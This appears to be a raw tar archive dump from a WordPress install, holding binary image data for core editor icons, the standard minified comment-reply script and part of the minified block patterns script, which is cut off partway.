���%!t��矇pa�S7����[vP��|�I=���:��7niĨ��R��Q\��W����}C��mU9tl�A�E�c71�C��4�IGr�\:PǠ��oS��B��ݔ�)奄F��P�xe؍Qz��=oB���JN*�Fb�+�KC���4��]��K�OV2���oU��͖�v��ME�t��^0��"Us��K+�7s�ţ&�WUw��{g�⋴O��~�V�T������A��Y��%ͼ^��}7y?�K��5�h�aYv�W)`ɜ�^�#5ɶ�T�[�hU�Z��/n����Poi�sJ|�t�𶛋z[�%�q�%���Ƌ-�u#�!�֦'Ç \w�P��?X�܂&�p9ٺj������a)jB����[���7w��d���-Z��n��tK?ԭJ�C��'�9�L�ѧ�)��2����hx����R�.����"��5 ��Ϻ� F*X�Ku�[��<�[�͓�	W�B$ˍԠ�gB)���8�/ �8�XɌ��l�e�g�e�����V�T@SAo���S���J�/���H�W4v�,����P徱���.���*8��J-b��ER �d���j���pҢ��[�J8O^�Ⅵ�̼�ˡ�g%�-�U���(����"�j�ɴK��"?'� 	�b����	FQ��=�/�QU��W��ɬ��|֕4]�S$|��hՐ�sPR��oHBH
=p{S��+�:�(wE��j���/8?���tL�Kuj@=��(3M�Hq^Q�l�%�Pɯ�[�R�n6�
���ĈY�6m[�=�)]��zڨm�3�8=�e1V?����Hf��&@2�ղ�+�72P
V5S�'�fĮBE�%ơA�
��G��Y��4L]lÓ!L�+�\�dVH	���PY1*!M6pPq�%���w���n^$MF�5��(>�A*Ʃ�
T%��ȍcȀ���D�/g�uc*h�JJYx
jM���@E���������� 5�ԉ�5�D1A�h�i�	�*mVs���q		�'{2���*�lp�"�c����� Tp�AתH��$4p
��i9`���>�@ح��5NB��F��

K4Sx���+���T��gJ�U �(;	�tm�-�.��2��1S�h�E!$*ԉR�CLGu���4�#$k�a�փl4LC�U���)�1�
R�
 p�KA��r���I��Sɒ1N����'lA*'/N]k�b��v���

�B��M-�J���£.���H`ɀa3ghp"�R=�`�u�UN��5�0kV��Yc?*%�F^�����ë7(X�{3�S(֩��<%���P_C9ufX4�!�	b�G���J>���f�,	d����'LkF&e �A�N���M�>�T���'dz�{
�D�{f���5���H�͈�3�0�n4zs@c
��g�}
FI�����$�1���\t\d���tbz��a���_{B`�5r�_����=���*�o�m��g�Q��cQ�kF���wC ���2��[X:m�I��"�٣*:�ʧ�ŝE�Pf��P?O��'{(���p�OiT#Q��vѝ���x��8����|W�މ�O�N�P\�,���7�5lW\I�&�לOq��lXU�e2�+�k0�ͧ<�HD��`˯=�<g��#�/�k6�2{��(AF�+���e���?���q��ɬIEND�B`�images/playlist-audio.png000064400000000670151024277520011467 0ustar00�PNG


IHDR((���mIDATx�b���?�`��ddd�BqT�2�:pԁC%��:p�;p4�:p�u�h9H��N�����}����@N �b}�#`X[�1J7āa$E�`�@|�����M4r`%���Ą#�(� �Adr�ė�x;.,tΠ�8����@lĞ�@��Q�Ḯ�v ��Ƞ�Y��Y��a��A�@��������G�8��4%�@l-6��U}{��ILo��&!����a,�K)�IH=@�L�zzg*����8���2`�c�?,b{��EL$Ձ;��đINaQ��T(mn�# ��E�Ch�W1�m���y@,�5Ш�@h�=߀�=/b)J�$0<�:M�����-R��IEND�B`�images/video.png000064400000000553151024277520007635 0ustar00�PNG


IHDR22;T�mtRNSv��8$IDATH��ֻ��@`n�
"H�D��I/[	�ۊ�<@��V�x��lvA�쉉3�9�7�od��[��f1*bE���	fj�
۲����LG]�U)ٲ�It�
�8<
��$0J��l=�����@{8Bشpt���H���v�@�T��X\#Զ.j[6!�ez[�1*��aLdh�	u�N�M�g"Eh���g"�")qH��GΊ��X�&�">�ؕڱ�S�?�X�%�
&)V��y��*hbU��[?��g�>�����p��yV�%f�g���N�o�������.IEND�B`�images/dashicon-no.png000064400000000523151024277520010726 0ustar00�PNG


IHDRE�/��PLTEwwwwwzww~w��zwwz��~ww~��~��~��~��~�͂�Վ�Վ������w��w����~Ś~ɞ~͞~ͮ�͹�զ������Ṏ��Ś�������Ѧ������������IDAT(�ݒK�@D�Q@��|a���7Y��N�*��[��#�Y�~촙�{j�����b-�-
�3N.T��i�Z��Z�2���*�m�U�B�	`_�����n_�sL��G8����5>n��&�~"7za!��IEND�B`�images/pagebreak.png000064400000002164151024277520010450 0ustar00�PNG


IHDRlv�=�zPLTELiq�����������������������������������ҹ����������̾�������������ʾ�������������ݻ����ڶ����������ȸ����������Ŀ�������������¾�������������ϸ�������������ͻ����������������������������ȹ�������������������Һ����������������������������Ϻ�������������������ĸ����������þ����������������þ���������ƺ����忿�����������������̺�������������¾����������ü�������廻�������������ةtSytRNS�v?|���{�"��#���X"?���-.�w3w��SH�~9;~s�0�7�WϢkJ�����K���7�D͍.�͈�E� 4�nq��(�<���t~�_�,6${a��J�A�6�3Y�S/+�b
ꋵ%0IDATx����s�U��iڛ4t��ݤ�ྡ�"���+������9I�w^<I��4/���3�L~w�g�Ι�7H�$I�$I�$I�$I�$��1�;�������U��E�%�6�R�h����S��-���?m���x#'Ji�el��zoQ�-���Wjqd �a.'�Ҁ���l�$I�
�7����Om`o�H�r�b �ܜ��Z���vS��m���+�'֡�f����r�;l�loRn��i.�LiEX���U�ѱ�Z��4�(+��HiBɈ|�Z���1r~��j3,�4��ўto[��s�`Y�0l3���R�������ս��㽉\Zy"#?���ZY�q(�A��ֲ�t�K��c���ь�����<[�l���#�߿�:#"7�\�L���$msg,�1���W���w�?wf!w��6��7��9Mi���y�)IҶ�v|`*'Y��Ȩ�e��ٖ������|������-/�`;%Iڪ�����"p��'�z)��l������٩=�s�z˳O﷟�$I�$I�$I�$I�$�x>����dIEND�B`�images/script.svg000064400000001642151024277520010046 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20"><path fill="#D5D5D5" d="M0 0h20v20H0z"/><path fill="#101517" d="m8.43 18.18-5.05-2.45v-.84l5.05-2.42v1.1l-3.9 1.74 3.9 1.77v1.1zM16.38 15.73l-5.05 2.45v-1.1l3.9-1.77-3.9-1.74v-1.1l5.05 2.42v.84zM4.7 8.1h.94c.08.48.37.72.85.72s.82-.1 1.01-.31c.2-.2.3-.78.3-1.73V1.81h1.07v4.93c0 1.07-.18 1.85-.52 2.33-.35.47-.97.71-1.85.71-.52 0-.94-.15-1.26-.45-.33-.3-.51-.72-.54-1.23zM10.73 9.31l.39-.98c.2.14.45.27.75.36.3.1.57.15.8.15.42 0 .76-.11 1.01-.34s.38-.52.38-.88c0-.26-.07-.5-.2-.73-.15-.23-.5-.48-1.07-.75l-.64-.3a2.53 2.53 0 0 1-1.12-.88 2.31 2.31 0 0 1-.32-1.25c0-.58.2-1.07.62-1.46s.95-.58 1.6-.58c.87 0 1.48.15 1.82.43l-.32.93c-.14-.1-.36-.2-.66-.3s-.56-.14-.81-.14c-.37 0-.65.1-.86.3-.21.22-.32.48-.32.8a1.25 1.25 0 0 0 .43.96c.13.12.4.28.82.48l.65.3c.54.26.91.56 1.13.91.22.36.32.8.32 1.35 0 .59-.23 1.1-.7 1.5a2.8 2.8 0 0 1-1.91.62c-.7 0-1.3-.17-1.8-.5z"/></svg>images/more.png000064400000000636151024277520007473 0ustar00�PNG


IHDRlv�=�<PLTELiq����ɻ����λ����������������ɻ��������ɻ���ɻɻ����2
tRNS���?����?�I��IDATx����n�0Љ�MB�����.�T�.i+�l<[[�F��࿍�&ɩz���jN2V�qk�JpU�$9TON5'S��8$m9��ue���ɴ���0$_%{:�-�B�mH��zvۚ$�gɎ���IUU���'��|�\�Ӓ��[�n��d�9cU
9��.�)���i��V�o�ls���;۶�rgk�de{_5p���i��vyg��V���;e;�q��od���͡'�;�!�m�w���>�(��NOIEND�B`�images/more-2x.png000064400000001133151024277520010013 0ustar00�PNG


IHDR�(<��$PLTELiq�����������������л��������������&�T�tRNSY���Lp���IDATx���1j"a��|���rn�r�������#�z�=�3�K��:���URa��gV��$/էG5�?�'��ʫ�v�kO�Z5ն-Cl����d_}Ik-�-��5b{|O���l��ou[OZ
I�D�`lU�ԏ��+I·)�����
��C�9��\������^�V���)�֓�$ۚc{[X%�mL��z�|h7�|[�N�3�t�����$m|=$��=��9��v�o��P�m��,���Աݼ'�]�I
��.�[�[����c�J*��VU
bk�b+���Nl/��1�g{�\��)e۶�[�Y�1��kϧ����9��Ŷ�m�����Il`��n�
���
R����:���|���ȧ���:�M-h���vmdg`�
��,���϶g�Yl`����9�i��ZO��Al�o���5���y�IEND�B`�images/playlist-video.png000064400000000442151024277520011471 0ustar00�PNG


IHDR((� H_EPLTE����#W�tRNS	"#HJLMNQ���������A���vIDAT8��ӹ� ��>P��O�P�©_��e� !�9�v�o@�̋��c�=�4���[mi��g�j"!�NQed	=�ˑ�iϕi�ZO��2���6����sQ���A9CdIEND�B`�images/gallery-2x.png000064400000000677151024277520010524 0ustar00�PNG


IHDRPP|?�0PLTE���������������������������������������������������tRNS"3Dfw��������W/IDATH��ױM�@�'�D(,��� �l@6���`��p#�x�Pt蒟��{�]l�_ڟd�u��ʎ����l��W�d�H�21�eI���U��;��N���2���6�3X%!"X�kP��B����!���s��h`���H�|�S	�
�<t�l��Cl�Z8� >Zx+�u�1!���OD�&���	��;M}9
\�bo��u���ݽ��3�쐅k7��ÿ
�/���|��,��)@����~�x��i
j��5��xۿ��
BL��k�jIEND�B`�images/gallery.png000064400000000573151024277520010170 0ustar00�PNG


IHDR((� H_WPLTE����������������������������������������������������������������������������������������~�tRNS
DMZw����������������VQ���IDAT8O����0�ᑋU������)-�a��,�dB���Mi�2���*6����z@����
3m��~�˨�n�Kf�숎���'�����{�p����xh�M)��~�E�PT6�ՔT�eX�w7��2|T��#��.�\j�K��'e��Gj��Ź�R!_
�w�����Z
?Q�_�'$�IEND�B`�images/audio.png000064400000000634151024277520007630 0ustar00�PNG


IHDR22;T�mtRNSv��8UIDATH��տK�@��
���q�V��d�K� �nU�*:�� 8�h�(�Ѐ�%.EC����4w�={���o�~�ym����-���?�<8n�P�yx^t6��z��ۣf
�颫�SŨ	ݶI��Q
�I�;���_����2�#��y�7�I���~�&������w�T�d����T$�)H`����+;[�
@H��G��'��� >��g6 �ň1�F��cE��Ln(+(JH]jB���-5)ˇ2yY��Xxy>�D�;��Xϰo|�R�ȍ��#AX�_��s���9a<J>j�Lח�¬ޑϓ%�0b��3'�3���%�ϛw��X1G>�IEND�B`�images/style.svg000064400000002754151024277520007707 0ustar00<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20"><path fill="#D5D5D5" d="M0 0h20v20H0z"/><path fill="#101517" d="m8.43 18.18-5.05-2.45v-.84l5.05-2.42v1.1l-3.9 1.74 3.9 1.77v1.1zM16.38 15.73l-5.05 2.45v-1.1l3.9-1.77-3.9-1.74v-1.1l5.05 2.42v.84zM7.25 2.1 6.89 3c-.35-.25-.89-.37-1.63-.37-.69 0-1.24.3-1.66.89-.41.6-.62 1.36-.62 2.3 0 .9.21 1.62.64 2.18a2 2 0 0 0 1.66.83c.73 0 1.3-.26 1.7-.78l.59.82c-.62.62-1.43.93-2.4.93-1.03 0-1.84-.37-2.43-1.11s-.9-1.72-.9-2.93c0-1.18.32-2.15.95-2.93s1.45-1.17 2.45-1.17c.85 0 1.52.14 2 .43zM8.45 9.31l.4-.98c.2.14.44.27.74.36.3.1.57.15.8.15.42 0 .76-.11 1.01-.34s.38-.52.38-.88c0-.26-.07-.5-.2-.73-.15-.23-.5-.48-1.07-.75l-.64-.3a2.53 2.53 0 0 1-1.12-.89 2.31 2.31 0 0 1-.32-1.24c0-.59.2-1.07.62-1.46s.95-.58 1.6-.58c.87 0 1.48.14 1.82.42l-.32.94c-.14-.1-.36-.2-.65-.3s-.57-.15-.82-.15A1.08 1.08 0 0 0 9.5 3.7a1.25 1.25 0 0 0 .43.96c.13.12.41.27.82.47l.65.31c.54.25.91.56 1.13.91.22.35.33.8.33 1.35 0 .59-.24 1.09-.72 1.5a2.8 2.8 0 0 1-1.9.62c-.7 0-1.3-.17-1.79-.5zM13.74 9.31l.4-.98c.2.14.44.27.74.36.3.1.57.15.8.15.43 0 .76-.11 1.02-.34s.38-.52.38-.88c0-.26-.07-.5-.21-.73-.15-.23-.5-.48-1.07-.75l-.63-.3a2.53 2.53 0 0 1-1.13-.88 2.31 2.31 0 0 1-.32-1.25c0-.58.2-1.07.62-1.46s.95-.58 1.6-.58c.88 0 1.48.15 1.82.43l-.32.93c-.14-.1-.36-.2-.65-.3s-.57-.15-.82-.15c-.36 0-.65.1-.86.32-.21.2-.32.47-.32.8a1.25 1.25 0 0 0 .43.96c.14.11.41.27.83.47l.64.3c.54.26.91.56 1.13.91.22.35.33.8.33 1.35 0 .59-.24 1.09-.72 1.5a2.8 2.8 0 0 1-1.9.62c-.7 0-1.3-.17-1.79-.5z"/></svg>images/pagebreak-2x.png000064400000001503151024277520010773 0ustar00�PNG


IHDR�(<��!PLTE����������������������������*|tRNSYs���s:�*�IDATx���1��H�+!a��
K��]�ڣA9"c	NY�U
�n�_
�9�kY<�uU�r9�?�j�G���޹���IRU����S�M�Ox�uI�}�ʡ���#lk�a[�a���=l����7a;'��2w]=H��m�z�>��m�;L��^���+Iꯩ
p�du��Ǘ6uIj���7�Ӧ��d?;��&lWuH��휴,�w��=l��S�xYn�m`���!ٜV�d]�7a���>�������a;��]�����Z�n�ö��0�e����]�.9^���$�˰�֮O#Ϗ���d�6�𑪔R�g�s�XI������SU}N��i��@jz�6��*��2�������IP�����pj��:�ۖ���0�9�م�UJ�*�^��-{ڞ����4�].����l�[���R�{�ޞ�t��a��=�U�O�5N_��7�8�8[�>�:>a5r�}�!n[���OI��_��kkǩ-�ކ�Rm���⫰NI��r���V�}���m��-�ql��_��lWu���9ɺl��U�{��#ؾ�g�K����OIR�� ����m�j7�l�S���s{����c�\Ǿ�ydx��)�[I-o����:|��X�8���g�ކ�j���6?�6=l��zoݞ+�_�0�D�9���	H��IEND�B`�images/dashicon-edit.png000064400000000560151024277520011240 0ustar00�PNG


IHDRE�/��PLTEwwwwwzww�w~�w��w��w��w��w��w��w��~���ww��w������ww�~z��w�����w�����ͪ����w�����ѽ����wɲ���Ѣw����������ݲ�������ٮ����������������s:�IDAT(�����0E�ӚR�4����O��8W��r�}���a��Z#�f�����%�olm"�D�&���'���L[#��T��F0ES�>�-e��J��>�gYd��
��G4�2�'�7�[QϷ7>V��bm%VW/|}���?�IEND�B`�14338/comment-reply.min.js.tar000064400000011000151024420100011703 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/comment-reply.min.js000064400000005722151024225110025702 0ustar00/*! This file is auto-generated */
window.addComment=function(v){var I,C,h,E=v.document,b={commentReplyClass:"comment-reply-link",commentReplyTitleId:"reply-title",cancelReplyId:"cancel-comment-reply-link",commentFormId:"commentform",temporaryFormId:"wp-temp-form-div",parentIdFieldId:"comment_parent",postIdFieldId:"comment_post_ID"},e=v.MutationObserver||v.WebKitMutationObserver||v.MozMutationObserver,r="querySelector"in E&&"addEventListener"in v,n=!!E.documentElement.dataset;function t(){d(),e&&new e(o).observe(E.body,{childList:!0,subtree:!0})}function d(e){if(r&&(I=g(b.cancelReplyId),C=g(b.commentFormId),I)){I.addEventListener("touchstart",l),I.addEventListener("click",l);function t(e){if((e.metaKey||e.ctrlKey)&&13===e.keyCode&&"a"!==E.activeElement.tagName.toLowerCase())return C.removeEventListener("keydown",t),e.preventDefault(),C.submit.click(),!1}C&&C.addEventListener("keydown",t);for(var n,d=function(e){var t=b.commentReplyClass;e&&e.childNodes||(e=E);e=E.getElementsByClassName?e.getElementsByClassName(t):e.querySelectorAll("."+t);return e}(e),o=0,i=d.length;o<i;o++)(n=d[o]).addEventListener("touchstart",a),n.addEventListener("click",a)}}function l(e){var t,n,d=g(b.temporaryFormId);d&&h&&(g(b.parentIdFieldId).value="0",t=d.textContent,d.parentNode.replaceChild(h,d),this.style.display="none",n=(d=(d=g(b.commentReplyTitleId))&&d.firstChild)&&d.nextSibling,d&&d.nodeType===Node.TEXT_NODE&&t&&(n&&"A"===n.nodeName&&n.id!==b.cancelReplyId&&(n.style.display=""),d.textContent=t),e.preventDefault())}function a(e){var t=g(b.commentReplyTitleId),t=t&&t.firstChild.textContent,n=this,d=m(n,"belowelement"),o=m(n,"commentid"),i=m(n,"respondelement"),r=m(n,"postid"),n=m(n,"replyto")||t;d&&o&&i&&r&&!1===v.addComment.moveForm(d,o,i,r,n)&&e.preventDefault()}function o(e){for(var t=e.length;t--;)if(e[t].addedNodes.length)return void d()}function m(e,t){return n?e.dataset[t]:e.getAttribute("data-"+t)}function g(e){return E.getElementById(e)}return r&&"loading"!==E.readyState?t():r&&v.addEventListener("DOMContentLoaded",t,!1),{init:d,moveForm:function(e,t,n,d,o){var i,r,l,a,m,c,s,e=g(e),n=(h=g(n),g(b.parentIdFieldId)),y=g(b.postIdFieldId),p=g(b.commentReplyTitleId),u=(p=p&&p.firstChild)&&p.nextSibling;if(e&&h&&n){void 0===o&&(o=p&&p.textContent),a=h,m=b.temporaryFormId,c=g(m),s=(s=g(b.commentReplyTitleId))?s.firstChild.textContent:"",c||((c=E.createElement("div")).id=m,c.style.display="none",c.textContent=s,a.parentNode.insertBefore(c,a)),d&&y&&(y.value=d),n.value=t,I.style.display="",e.parentNode.insertBefore(h,e.nextSibling),p&&p.nodeType===Node.TEXT_NODE&&(u&&"A"===u.nodeName&&u.id!==b.cancelReplyId&&(u.style.display="none"),p.textContent=o),I.onclick=function(){return!1};try{for(var f=0;f<C.elements.length;f++)if(i=C.elements[f],r=!1,"getComputedStyle"in v?l=v.getComputedStyle(i):E.documentElement.currentStyle&&(l=i.currentStyle),(i.offsetWidth<=0&&i.offsetHeight<=0||"hidden"===l.visibility)&&(r=!0),"hidden"!==i.type&&!i.disabled&&!r){i.focus();break}}catch(e){}return!1}}}}(window);14338/patterns.min.js.tar000064400000055000151024420100010760 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/patterns.min.js000064400000051716151024361650025730 0ustar00/*! This file is auto-generated */
(()=>{"use strict";var e={d:(t,n)=>{for(var r in n)e.o(n,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:n[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{privateApis:()=>K,store:()=>k});var n={};e.r(n),e.d(n,{convertSyncedPatternToStatic:()=>h,createPattern:()=>m,createPatternFromFile:()=>g,setEditingPattern:()=>y});var r={};e.r(r),e.d(r,{isEditingPattern:()=>f});const a=window.wp.data;const s=(0,a.combineReducers)({isEditingPattern:function(e={},t){return"SET_EDITING_PATTERN"===t?.type?{...e,[t.clientId]:t.isEditing}:e}}),o=window.wp.blocks,i=window.wp.coreData,c=window.wp.blockEditor,l={theme:"pattern",user:"wp_block"},u="all-patterns",d={full:"fully",unsynced:"unsynced"},p={"core/paragraph":["content"],"core/heading":["content"],"core/button":["text","url","linkTarget","rel"],"core/image":["id","url","title","alt"]},_="core/pattern-overrides",m=(e,t,n,r)=>async({registry:a})=>{const s={title:e,content:n,status:"publish",meta:t===d.unsynced?{wp_pattern_sync_status:t}:void 0,wp_pattern_category:r};return await a.dispatch(i.store).saveEntityRecord("postType","wp_block",s)},g=(e,t)=>async({dispatch:n})=>{const r=await e.text();let a;try{a=JSON.parse(r)}catch(e){throw new Error("Invalid JSON file")}if("wp_block"!==a.__file||!a.title||!a.content||"string"!=typeof a.title||"string"!=typeof a.content||a.syncStatus&&"string"!=typeof a.syncStatus)throw new Error("Invalid pattern JSON file");return await n.createPattern(a.title,a.syncStatus,a.content,t)},h=e=>({registry:t})=>{const n=t.select(c.store).getBlock(e),r=n.attributes?.content;const a=t.select(c.store).getBlocks(n.clientId);t.dispatch(c.store).replaceBlocks(n.clientId,function e(t){return t.map((t=>{let n=t.attributes.metadata;if(n&&(n={...n},delete n.id,delete n.bindings,r?.[n.name]))for(const[e,a]of Object.entries(r[n.name]))(0,o.getBlockType)(t.name)?.attributes[e]&&(t.attributes[e]=a);return(0,o.cloneBlock)(t,{metadata:n&&Object.keys(n).length>0?n:void 0},e(t.innerBlocks))}))}(a))};function y(e,t){return{type:"SET_EDITING_PATTERN",clientId:e,isEditing:t}}function f(e,t){return e.isEditingPattern[t]}const x=window.wp.privateApis,{lock:b,unlock:v}=(0,x.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.","@wordpress/patterns"),w={reducer:s},k=(0,a.createReduxStore)("core/patterns",{...w});(0,a.register)(k),v(k).registerPrivateActions(n),v(k).registerPrivateSelectors(r);const S=window.wp.components,C=window.wp.element,j=window.wp.i18n;function B(e){return Object.keys(p).includes(e.name)&&!!e.attributes.metadata?.name&&!!e.attributes.metadata?.bindings&&Object.values(e.attributes.metadata.bindings).some((e=>"core/pattern-overrides"===e.source))}const P=window.ReactJSXRuntime,{BlockQuickNavigation:T}=v(c.privateApis);const E=window.wp.notices,D=window.wp.compose,I=window.wp.htmlEntities,N="wp_pattern_category";function R({categoryTerms:e,onChange:t,categoryMap:n}){const[r,a]=(0,C.useState)(""),s=(0,D.useDebounce)(a,500),o=(0,C.useMemo)((()=>Array.from(n.values()).map((e=>{return t=e.label,(0,I.decodeEntities)(t);var t})).filter((e=>""===r||e.toLowerCase().includes(r.toLowerCase()))).sort(((e,t)=>e.localeCompare(t)))),[r,n]);return(0,P.jsx)(S.FormTokenField,{className:"patterns-menu-items__convert-modal-categories",value:e,suggestions:o,onChange:function(e){const n=e.reduce(((e,t)=>(e.some((e=>e.toLowerCase()===t.toLowerCase()))||e.push(t),e)),[]);t(n)},onInputChange:s,label:(0,j.__)("Categories"),tokenizeOnBlur:!0,__experimentalExpandOnFocus:!0,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0})}function M(){const{saveEntityRecord:e,invalidateResolution:t}=(0,a.useDispatch)(i.store),{corePatternCategories:n,userPatternCategories:r}=(0,a.useSelect)((e=>{const{getUserPatternCategories:t,getBlockPatternCategories:n}=e(i.store);return{corePatternCategories:n(),userPatternCategories:t()}}),[]),s=(0,C.useMemo)((()=>{const e=new Map;return r.forEach((t=>{e.set(t.label.toLowerCase(),{label:t.label,name:t.name,id:t.id})})),n.forEach((t=>{e.has(t.label.toLowerCase())||"query"===t.name||e.set(t.label.toLowerCase(),{label:t.label,name:t.name})})),e}),[r,n]);return{categoryMap:s,findOrCreateTerm:async function(n){try{const r=s.get(n.toLowerCase());if(r?.id)return r.id;const a=r?{name:r.label,slug:r.name}:{name:n},o=await e("taxonomy",N,a,{throwOnError:!0});return t("getUserPatternCategories"),o.id}catch(e){if("term_exists"!==e.code)throw e;return e.data.term_id}}}}function O({className:e="patterns-menu-items__convert-modal",modalTitle:t,...n}){const r=(0,a.useSelect)((e=>e(i.store).getPostType(l.user)?.labels?.add_new_item),[]);return(0,P.jsx)(S.Modal,{title:t||r,onRequestClose:n.onClose,overlayClassName:e,focusOnMount:"firstContentElement",size:"small",children:(0,P.jsx)(A,{...n})})}function A({confirmLabel:e=(0,j.__)("Add"),defaultCategories:t=[],content:n,onClose:r,onError:s,onSuccess:o,defaultSyncType:i=d.full,defaultTitle:c=""}){const[l,p]=(0,C.useState)(i),[_,m]=(0,C.useState)(t),[g,h]=(0,C.useState)(c),[y,f]=(0,C.useState)(!1),{createPattern:x}=v((0,a.useDispatch)(k)),{createErrorNotice:b}=(0,a.useDispatch)(E.store),{categoryMap:w,findOrCreateTerm:B}=M();return(0,P.jsx)("form",{onSubmit:e=>{e.preventDefault(),async function(e,t){if(g&&!y)try{f(!0);const r=await Promise.all(_.map((e=>B(e)))),a=await x(e,t,"function"==typeof n?n():n,r);o({pattern:a,categoryId:u})}catch(e){b(e.message,{type:"snackbar",id:"pattern-create"}),s?.()}finally{f(!1),m([]),h("")}}(g,l)},children:(0,P.jsxs)(S.__experimentalVStack,{spacing:"5",children:[(0,P.jsx)(S.TextControl,{label:(0,j.__)("Name"),value:g,onChange:h,placeholder:(0,j.__)("My pattern"),className:"patterns-create-modal__name-input",__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,P.jsx)(R,{categoryTerms:_,onChange:m,categoryMap:w}),(0,P.jsx)(S.ToggleControl,{__nextHasNoMarginBottom:!0,label:(0,j._x)("Synced","pattern (singular)"),help:(0,j.__)("Sync this pattern across multiple locations."),checked:l===d.full,onChange:()=>{p(l===d.full?d.unsynced:d.full)}}),(0,P.jsxs)(S.__experimentalHStack,{justify:"right",children:[(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{r(),h("")},children:(0,j.__)("Cancel")}),(0,P.jsx)(S.Button,{__next40pxDefaultSize:!0,variant:"primary",type:"submit","aria-disabled":!g||y,isBusy:y,children:e})]})]})})}function z(e,t){return e.type!==l.user?t.core?.filter((t=>e.categories?.includes(t.name))).map((e=>e.label)):t.user?.filter((t=>e.wp_pattern_category?.includes(t.id))).map((e=>e.label))}function L({pattern:e,onSuccess:t}){const{createSuccessNotice:n}=(0,a.useDispatch)(E.store),r=(0,a.useSelect)((e=>{const{getUserPatternCategories:t,getBlockPatternCategories:n}=e(i.store);return{core:n(),user:t()}}));return e?{content:e.content,defaultCategories:z(e,r),defaultSyncType:e.type!==l.user?d.unsynced:e.wp_pattern_sync_status||d.full,defaultTitle:(0,j.sprintf)((0,j._x)("%s (Copy)","pattern"),"string"==typeof e.title?e.title:e.title.raw),onSuccess:({pattern:e})=>{n((0,j.sprintf)((0,j._x)('"%s" duplicated.',"pattern"),e.title.raw),{type:"snackbar",id:"patterns-create"}),t?.({pattern:e})}}:null}const U=window.wp.primitives,H=(0,P.jsx)(U.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,P.jsx)(U.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})});function V({clientIds:e,rootClientId:t,closeBlockSettingsMenu:n}){const{createSuccessNotice:r}=(0,a.useDispatch)(E.store),{replaceBlocks:s}=(0,a.useDispatch)(c.store),{setEditingPattern:l}=v((0,a.useDispatch)(k)),[u,p]=(0,C.useState)(!1),_=(0,a.useSelect)((n=>{var r;const{canUser:a}=n(i.store),{getBlocksByClientId:s,canInsertBlockType:l,getBlockRootClientId:u}=n(c.store),d=t||(e.length>0?u(e[0]):void 0),p=null!==(r=s(e))&&void 0!==r?r:[];return!(1===p.length&&p[0]&&(0,o.isReusableBlock)(p[0])&&!!n(i.store).getEntityRecord("postType","wp_block",p[0].attributes.ref))&&l("core/block",d)&&p.every((e=>!!e&&e.isValid&&(e=>{const t=(0,o.getBlockType)(e),n=t&&"parent"in t;return(0,o.hasBlockSupport)(e,"reusable",!n)})(e.name)))&&!!a("create",{kind:"postType",name:"wp_block"})}),[e,t]),{getBlocksByClientId:m}=(0,a.useSelect)(c.store),g=(0,C.useCallback)((()=>(0,o.serialize)(m(e))),[m,e]);if(!_)return null;return(0,P.jsxs)(P.Fragment,{children:[(0,P.jsx)(S.MenuItem,{icon:H,onClick:()=>p(!0),"aria-expanded":u,"aria-haspopup":"dialog",children:(0,j.__)("Create pattern")}),u&&(0,P.jsx)(O,{content:g,onSuccess:t=>{(({pattern:t})=>{if(t.wp_pattern_sync_status!==d.unsynced){const r=(0,o.createBlock)("core/block",{ref:t.id});s(e,r),l(r.clientId,!0),n()}r(t.wp_pattern_sync_status===d.unsynced?(0,j.sprintf)((0,j.__)("Unsynced pattern created: %s"),t.title.raw):(0,j.sprintf)((0,j.__)("Synced pattern created: %s"),t.title.raw),{type:"snackbar",id:"convert-to-pattern-success"}),p(!1)})(t)},onError:()=>{p(!1)},onClose:()=>{p(!1)}})]})}const F=window.wp.url;const q=function({clientId:e}){const{canRemove:t,isVisible:n,managePatternsUrl:r}=(0,a.useSelect)((t=>{const{getBlock:n,canRemoveBlock:r,getBlockCount:a}=t(c.store),{canUser:s}=t(i.store),l=n(e);return{canRemove:r(e),isVisible:!!l&&(0,o.isReusableBlock)(l)&&!!s("update",{kind:"postType",name:"wp_block",id:l.attributes.ref}),innerBlockCount:a(e),managePatternsUrl:s("create",{kind:"postType",name:"wp_template"})?(0,F.addQueryArgs)("site-editor.php",{path:"/patterns"}):(0,F.addQueryArgs)("edit.php",{post_type:"wp_block"})}}),[e]),{convertSyncedPatternToStatic:s}=v((0,a.useDispatch)(k));return n?(0,P.jsxs)(P.Fragment,{children:[t&&(0,P.jsx)(S.MenuItem,{onClick:()=>s(e),children:(0,j.__)("Detach")}),(0,P.jsx)(S.MenuItem,{href:r,children:(0,j.__)("Manage patterns")})]}):null};const G=window.wp.a11y;function Y({placeholder:e,initialName:t="",onClose:n,onSave:r}){const[a,s]=(0,C.useState)(t),o=(0,C.useId)(),i=!!a.trim();return(0,P.jsx)(S.Modal,{title:(0,j.__)("Enable overrides"),onRequestClose:n,focusOnMount:"firstContentElement",aria:{describedby:o},size:"small",children:(0,P.jsx)("form",{onSubmit:e=>{e.preventDefault(),i&&(()=>{if(a!==t){const 